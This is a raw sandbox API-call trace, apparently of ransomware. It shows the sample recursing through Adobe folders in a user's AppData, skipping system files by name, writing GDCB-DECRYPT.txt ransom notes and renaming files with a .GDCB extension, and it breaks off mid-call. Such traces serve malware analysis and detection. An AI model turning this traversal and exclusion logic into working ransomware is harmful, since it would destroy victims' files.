lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt" [0170.307] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 242 [0170.307] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 242 [0170.307] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 242 [0170.307] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 242 [0170.307] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.307] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.307] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.307] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.307] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.307] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.307] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.307] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.307] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.307] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="UserCache.bin.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB" [0170.307] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 224 [0170.307] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 224 [0170.307] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt" [0170.307] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 219 [0170.307] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 219 [0170.307] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 219 [0170.307] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 219 [0170.307] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.307] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.307] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.307] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.307] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.307] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.307] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.307] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.307] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.308] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="AcroCef" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef" [0170.308] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\" [0170.308] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.308] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.308] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.308] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.308] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\") returned 203 [0170.308] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*" [0170.308] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*", lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0x5a4e18 [0170.308] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.308] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.308] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.308] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.308] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.308] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0170.308] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0170.308] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC" [0170.308] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC") returned 205 [0170.308] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.308] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.308] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.308] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt" [0170.308] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 219 [0170.308] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.308] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0 [0170.309] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.309] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\\\GDCB-DECRYPT.txt") returned 220 [0170.309] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.310] GetLastError () returned 0x50 [0170.310] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\") returned 203 [0170.311] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*" [0170.311] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*", lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 0x5a4e18 [0170.311] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC" [0170.311] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\" [0170.311] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.311] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.311] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.311] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.311] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\") returned 206 [0170.311] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*" [0170.311] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 0x5dd010 [0170.311] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.311] FindNextFileW (in: hFindFile=0x5dd010, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.311] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.311] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.311] FindNextFileW (in: hFindFile=0x5dd010, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.311] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0170.311] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0170.311] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat" [0170.311] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned 213 [0170.311] FindNextFileW (in: hFindFile=0x5dd010, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.311] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.311] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.311] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt" [0170.312] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 222 [0170.312] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.312] FindNextFileW (in: hFindFile=0x5dd010, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 0 [0170.312] FindClose (in: hFindFile=0x5dd010 | out: hFindFile=0x5dd010) returned 1 [0170.312] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\\\GDCB-DECRYPT.txt") returned 223 [0170.312] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.314] GetLastError () returned 0x50 [0170.314] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\") returned 206 [0170.314] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*" [0170.314] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 0x5dd3d0 [0170.314] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat" [0170.314] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\" [0170.314] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.314] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.314] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.314] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.314] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned 214 [0170.314] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*" [0170.314] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 0x5dd650 [0170.315] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.315] FindNextFileW (in: hFindFile=0x5dd650, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 1 [0170.315] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.315] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.315] FindNextFileW (in: hFindFile=0x5dd650, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 1 [0170.315] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.315] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.315] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache" [0170.315] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned 219 [0170.315] FindNextFileW (in: hFindFile=0x5dd650, lpFindFileData=0x285d1d0 